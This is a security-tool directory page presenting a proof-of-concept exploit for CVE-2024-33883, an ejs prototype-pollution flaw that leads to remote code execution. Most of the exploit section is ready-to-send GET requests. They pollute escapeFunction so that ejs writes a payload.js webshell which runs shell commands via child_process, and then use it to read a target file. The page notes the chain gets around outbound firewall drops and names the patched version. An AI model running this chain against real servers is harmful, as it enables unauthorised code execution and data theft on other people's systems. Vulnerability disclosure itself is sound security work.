Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
PoC-CVE-2024-33883 — PoC of CVE-2024-33883, RCE vulnerability of ejs. | Kitploit
Tools/GitHubGitHub/grantzile/poc-cve-2024-33883
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationPayload Development
GitHubgrantzile/poc-cve-2024-33883

PoC-CVE-2024-33883

PoC of CVE-2024-33883, RCE vulnerability of ejs.

View Repository
5222 years agoNot yet reviewed
Share

CVE-2024-33883

[email protected], Insufficient Prototype Pollution Validation Leading to RCE Exploitation

  • With prototype pollution, set opts.client to truthy value (condition)
  • Then, when render() runs, ejs will run opts.escapeFunction value as JS code.

Vulnerable Code Range

Based on [email protected]

1. ejs/lib/ejs.js - line 580, 636, 637

PoC (Inject webshell & activate)

1. GET /pollute?target=client&value=1

2. GET /pollute?target=escapeFunction&value=process.mainModule.require("fs").writeFileSync('./payload.js', "function RCE( key ){ \n const result = process.mainModule.require('child_process').execSync(`${key}`); \n throw new Error(`Result leak from Error: ${result.toString()}`); \n}\n module.exports = RCE;");

3. GET /
- Inject webshell

4. GET /pollute?target=escapeFunction&value=process.mainModule.require("./payload.js")("cat ./Leak_target");

5. GET /
- Activate webshell
  • Above PoC can bypass outbound packet drop of ufw firewall.

  • All version under 3.1.10 is vulnerable for this type of attack.

  • This is RCE vulnerability, and do not abuse on live server.

Attack available condition

  1. Needs control of render().
  2. Needs control of prototype pollution attack vector.
  • Above two condition holds, RCE attack is available.

How can I prevent this attack?

  • Fixed version([email protected]) is available now.
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    786
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    506
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    429
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    262
  • 6

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    256

Explore all tools

Browse our collection of tools

View all tools →